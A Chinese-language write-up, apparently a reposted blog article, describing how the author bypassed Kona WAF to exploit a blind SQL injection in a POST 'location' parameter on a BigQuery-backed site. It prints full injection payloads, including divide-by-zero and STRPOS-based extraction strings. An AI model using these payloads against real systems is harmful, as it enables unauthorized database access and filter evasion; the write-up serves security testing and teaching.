sqli学习笔记系列-绕过Kona WAF
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
前言
本文主要讲的是在Sqli测试过程中出现的Kona WAF绕过的过程;
发现403
出于保密原则,本文中的目标用0x1337.space
表示;
有效范围很大: *. 0x1337.space
在处理了burpsuite请求/响应之后,注意到在POST参数上有一个问题。所以在这篇文章中,称其为:“location”。
基本上,服务器不会清理用户在location参数中的输入,因此出现了如下异常:
具体请求类似如下所示:
POST /vulnerable-endpoint/ HTTP/1.1
Host: 0x1337.space
…
location=abcd1337"
如上图所示,服务器响应SQL查询异常包含详细表名和列名。信息类似于:
select AAA,BBB,CCC,DDD from EEE where location="abcd1337""n
基本确定这是一个SQL注入漏洞;
用这个参数快速设置了一个自动exploit;
但是很快发现了问题:
使用的有效载荷是:
location=abcd1337" union select 1--
发现403:
WAF绕过并利用盲注
检测Kona WAF的行为(注:在此之前应该还要对WAF进行指纹)
尝试了每一个绕过Kona WAF在互联网上公开的绕过方法,但没有一个成功。以下是尝试的一些有效载荷。
'and sleep/*f*/(10) LIKE '3--
-abc)/**/OR/**/MID(CURRENT_USER,1,1)/**/LIKE/**/'a'/**/--
后面过了一段时间,再次测试,发现:
屏蔽关键字:union
屏蔽掉的函数: sleep(), count()…
屏蔽掉的全局变量: @@version…
一些组合查询: select “ducnt” 没问题, 但是select "ducnt" from 被屏蔽了
没有 mid(), ascii()函数,对于SQL或MySQL这样的普通数据库来说, 这很奇怪
无法识别的函数错误:
利用Google
根据上面收集的信息,我再次检查了异常信息。
“INVALID_ARGUMENT: Syntax error: Unexpected identifier”
从这个“500 Internal Server Error”
以及上面的WAF反馈,可以进一步断定这里的服务器使用了 google云数据库bigquery,既没有使用Mysql也没使用SQL Server
更多信息可以参考:
https://cloud.google.com/spanner/docs/reference/rest/v1/Code
Kona WAF绕过: 利用“谷歌BigQuery”sql盲注漏洞
准备
如上所述,数据库异常的信息类似于:
select AAA,BBB,CCC,DDD from EEE where location="abcd1337""n
在下面的利用中,将尝试从EEE表中提取DDD列的值。
请求如下:
Request:
POST /vulnerable-endpoint/ HTTP/1.1
Host: 0x1337.space
…
location=ducnt1337" OR if(1/(length((select('a')))-1)=1,true,false) or "a"="b--
除以0:
概念
首先,滥用谷歌bigquery的length函数,利用被零整除 检测是否为Sql盲注;
用来查找字符串长度的有效负载是:
location=ducnt1337" OR if(1/(length((select("ducnt")))-5)=1,true,false) or "a"="b--
在google bigquery 中将为:
select AAA,BBB,CCC,DDD from EEE where location="ducnt1337" OR if(1/(length((select("ducnt")))-5)=1,true,false) or "a"="b--
有效负载解释:如果字符串ducnt(长度= 5)的长度减去5,结果将是1/0,并导致除零错误异常。如果要使列中值的长度不可见,请更改数学运算减号后的值。基于这个概念,可以从数据库中提取列的值
利用
在下面的利用中,我试图从数据库中的EEE表中提取DDD列的值。因此,首先,试图找到DDD列的值的长度(在limit 1 position
)。
a)将DDD列上在 limit 1
位置的长度设为盲值。
payload为:
location=ducnt1337" OR if(1/(length((select/**/DDD/**/limit/**/1))-$BLIND_LENGTH_HERE$)=1,true,false) or "a"="b--
在 google bigquery 中:
select AAA,BBB,CCC,DDD from EEE where location="ducnt1337" OR if(1/(length((select/**/DDD/**/limit/**/1))-$BLIND_LENGTH_HERE$)=1,true,false) or "a"="b--
如果来自DDD列的limit 1位置的值的长度等于值$BLIND_LENGTH_HERE$,那么将出现除零错误异常。
数值的长度被盲化,等于6:
结论:
-
DDD列在limit 1位置的值的长度等于6。
b)将DDD列上的值在limit 1
处进行盲化。
为了从DDD列中提取数值。我使用google bigquery的STRPOS函数( REF:https://cloud.google.com/bigquery/docs/reference/standard-sql/string_functions
)(ft),在除以0的错误异常情况下,从DDD列中提取数值。
payload为:
location=ducnt" OR if(1/(STRPOS((select/**/DDD/**/limit/**/1),"$BLIND_STRING_HERE$"))=1,true,false) or "a"="b--
解释一下有效载荷:$BLIND_STRING_HERE$中会有一个你想屏蔽的单一字符串。STRPOS函数将返回字符串中第一个出现的子串的的从1开始的索引,如果没有找到子串则返回0。
举个例子:如果字符串a存在于DDD列的值中,STRPOS函数返回的值将不等于0.所以页面的内容将响应(不是除以0的签名)。
下一步是确定字符串a在哪个位置盲化。只需在查询外加上减去的数学运算。
payload为:
location=ducnt" OR if(1/(STRPOS((select/**/DDD/**/limit/**/1),"a")-$BLIND_THE_POSITION_HERE$)=1,true,false) or "a"="b--
基本上,字符串a从DDD列的值的第1个位置开始,如果出现除以0的签名,STRPOS减去数学运算的结果将与$BLIND_STRING_HERE$相等。如果没有,则字符串a不在DDD列值的第1个位置上。
所以在这个上下文中,我从DDD值中提取的第一个位置的值是一个字符。重复这个过程,使所有的值都不可见。(记住长度为6)
c)POC
利用后,我可以从DDD列中提取limit 1位置的值,该值为:active
绕过Kona WAF,通过SQL注入漏洞成功从数据库中提取信息。
总结
1.做测试的时候,不要轻易放弃,有时候当时测不出来,过一段时间再次测试;
2.注意奇怪的响应还有HTTP错误代码
原文始发于微信公众号(迪哥讲事):sqli学习笔记系列-绕过Kona WAF
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论